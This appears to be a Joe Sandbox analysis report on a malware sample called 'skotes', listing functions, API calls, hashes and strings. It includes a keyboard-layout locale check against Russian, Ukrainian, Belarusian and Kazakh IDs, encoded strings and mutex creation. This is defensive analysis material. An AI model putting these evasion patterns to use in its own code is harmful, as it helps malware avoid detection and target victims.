Instruction ID: d21c968cc3ec8aa581f5ea31308503648559d56df2f1e0682b2756deefa3654d
Opcode Fuzzy Hash: 34a3bd59b229b9efc74a361c1ca909672babeabc2f8309f4c4f8c10df3361ac2
Instruction Fuzzy Hash: 91B1F6B1A201189BDF28CF28CC84BAEBB79EF46304F5041A9F509972D1DB719AD4CF95

Function 00296020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0029617D
RegEnumValueA.KERNELBASE(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00296271

Strings

0000043f, xrefs: 0029612B
00000419, xrefs: 00296098
00000422, xrefs: 002960C9
00000423, xrefs: 002960FA
Keyboard Layout\Preload, xrefs: 00296054

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: af634c9ccd09b12504fca557f099defe97b6c7cfa98447bf925005edf209b65f
Instruction ID: 4f6d7af390da0b2f3aac070f44db00322ed3984bb7cc7f28557e7394a258a531
Opcode Fuzzy Hash: af634c9ccd09b12504fca557f099defe97b6c7cfa98447bf925005edf209b65f
Instruction Fuzzy Hash: 37B1C1719102689BDF24DB64CC89BDEB7B9AF05300F5402D9E508E7291DB74AFB88F54

Function 00297D30 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00297ED3

Strings

JjssPV==, xrefs: 002981E2
JjsrQV==, xrefs: 00298092
P*, xrefs: 00297D3D
JjsrPl==, xrefs: 0029828A
JjssOl==, xrefs: 0029813A

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==$P*
API String ID: 1721193555-2449981040
Opcode ID: 35da205f24d1269ed1c4dbbd7b337323478f4411412911609f662ac8af33a20c
Instruction ID: de020bd6b129357fb325655c9a6f39af009b44a8eba8354df24f88109e2a598d
Opcode Fuzzy Hash: 35da205f24d1269ed1c4dbbd7b337323478f4411412911609f662ac8af33a20c
Instruction Fuzzy Hash: 80E10470F24254ABDF15BB28DC1B3AD7A61AB47720F9402DCE415673C2DB748EA58BC2

Function 002D26F2 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNELBASE(?,00000000,00000000,00000000,?,002E6758), ref: 002D275C

Strings

Eastern Standard Time, xrefs: 002D27CB
Eastern Summer Time, xrefs: 002D27FA
Xg., xrefs: 002D2705, 002D270B

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xg.
API String ID: 565725191-150185857
Opcode ID: 83686777265be9b7b7cccdf5f8b572b26a53403e975e4af176b264926c989528
Instruction ID: 0af28bb71d7b4c9967ea34350091246861410eb607d33a7ffb284cc484d9b790
Opcode Fuzzy Hash: 83686777265be9b7b7cccdf5f8b572b26a53403e975e4af176b264926c989528
Instruction Fuzzy Hash: 32512971920216EBDB10DF649C459BEB7B8EF65360B10426BE510E3391E7309E69DF60

Function 002C6FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,002C6EE6), ref: 002C6FD6
GetFileInformationByHandle.KERNELBASE(?,?), ref: 002C7030
__dosmaperr.LIBCMT ref: 002C70C5

Part of subcall function 002C732A: __dosmaperr.LIBCMT ref: 002C735F

Strings

n,, xrefs: 002C6FCE

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: n,
API String ID: 2531987475-764919382
Opcode ID: 05e86b8a4d2a6e74d10c63fd08c5ebd765f2f8e40dc7b5499c098a18f8b887de
Instruction ID: 8f76dc3821d42141248d7266242d5a51abb7581c8afa244241ff0944a3221b5f
Opcode Fuzzy Hash: 05e86b8a4d2a6e74d10c63fd08c5ebd765f2f8e40dc7b5499c098a18f8b887de
Instruction Fuzzy Hash: 92415D71924205ABDB24EFB5DC41EAFB7F9EF89300B144A2DF856D3610EA709914CF21

Function 00299BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00299BA8
Sleep.KERNELBASE(00000064,?), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
